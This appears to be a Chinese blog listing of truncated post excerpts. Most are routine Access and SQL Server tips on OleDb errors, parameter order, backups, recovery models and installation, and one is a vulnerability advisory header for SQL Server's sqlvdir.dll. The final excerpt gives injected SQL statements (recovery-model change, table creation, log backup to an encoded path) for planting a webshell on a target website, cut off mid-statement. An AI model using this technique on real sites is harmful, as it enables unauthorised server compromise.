今天用OleDb连接Access时总报找不到dbo.mdb的问题。可是我的连接字符串中明明写着local.mdb。单步跟踪调试发现Connection中的连接字符串也是”Provider=Microsoft.Jet.OLEDB.4.0; Data Source=local.mdb;”,根本没有dbo.mdb的事。后来查过排查发现是schema的问题。SQL Server中有schema的概念所以我们一般都习惯写成dbo.xxxTable,所以如果你要..
最近的一个项目要使用Access,用惯了SQLServer,一下子回到Access真是有点不太习惯。在使用Access插入日期数据时,总报Data type mismatch in criteria expression错误,虽然我使用了参数化方式传值,可是问题还无法得到解决。经测试,下面两种方法可以解决这个问题。方法一:使用参数化方法时只要使用DateTime.Now.ToString(),把日期类型转换为..
今天update access数据库时,使用了参数化的方式,结果不报错,但是数据也没有更新。经过google发现access使用参数化时,参数位置必须和赋值顺序相同才行,否则更新时就会出现数据无法更新但是也不报错的怪现象。 例如:update tablename set [a]=@a,[b]=@b where [id]=@id 那么你在加参数时,也必须先加@a,再加@b,最后加@id.也就是说必须要 cm..
假设在下面几个时间段中,一个数据库积累插入了如下数据:1.完整数据库备份故名思意,完整数据库备份包括完整的数据库信息。它包括数据库的数据文件和备份结尾的部份活动事务日志。完整备份基本语法如下:BACKUP DATABASE AdventureWorks TO DISK = 'g:\backups\AdventureWorks.bak'2.差异性数据库备份差异性数据库备份包括自从上一次完整性备份..
在SQL Server中,除了系统数据库外,你创建的每一个数据库都有三种可供选择的恢复模型: Simple(简单), full(完整), bulk-logged(批量日志)。 下面这条语句可以显示出所有在线数据库的恢复模型:SELECT name, (SELECT DATABASEPROPERTYEX(name, 'RECOVERY')) RecoveryModel FROM master..sysdatabases ORDER BY nameSQL Server 2005及以上版本也可..
五、SQL Server引用的各种对象的最大值 下表说明在 Microsoft SQL Server 数据库中定义的,或在 Transact-SQL 语句中引用的各种对象的最大值(数量或大小)。下表不包含 Microsoft SQL Server 2000 Windows CE 版。最大值(数量或大小)对象SQL Server 7.0SQL Server 2000批处理大小65,536 * 网络数据包大小165,536 * 网络数据包大小1每个排序字..
解决windows 2003 server 安装SQL2000时CD-KEY无法验证的问题2008年01月11日 星期五 下午 07:47在windows 2003 server 以前版本的操作系统上好像从来没有出现过要输入CD KEY,但在windows 2003 server打上SP1和域控制器环境下却在安装过程中出现输入CDKEY的界面,提示提示无法验证产品密钥,CDKEY不对?解决办法如下:环境: windows 2003 server + S..
经过自己的摸索,发现在Win2003下安装sql2000与sql2005也并不是那么的复杂,其实非常简单,网上很多关于这方面的内容,但是描述的都比较模糊,致使一些急需此正确方法的人走了很多弯路,而且问题多多,下面配合图片以及简单步骤说面整个安装过程,两个sql可以配合visual studio .net2005使用,Windows2003系统下安装sql2000 与sql2005的时候不用..
Microsoft SQL Server sqlvdir.dll ActiveX控件缓冲区溢出漏洞受影响系统: Microsoft SQL Server 2000 SP4 Microsoft SQL Server 2000 SP3a Microsoft SQL Server 2000 SP3 Microsoft SQL Server 2000 SP2 Microsoft SQL Server 2000 SP1 Microsoft SQL Server 2000 描述: -----------------------------------------------------------------..
有时候遇到目标网站数据库过大,导致备份超时的时候,我们可以通过以下语句进行备份拿webshell alter database CaanCn set RECOVERY FULL-- Drop table [banlg];create table [dbo].[banlg] ([cmd] [image])-- declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335393536 backup log @a to disk=@s with init-- insert into b..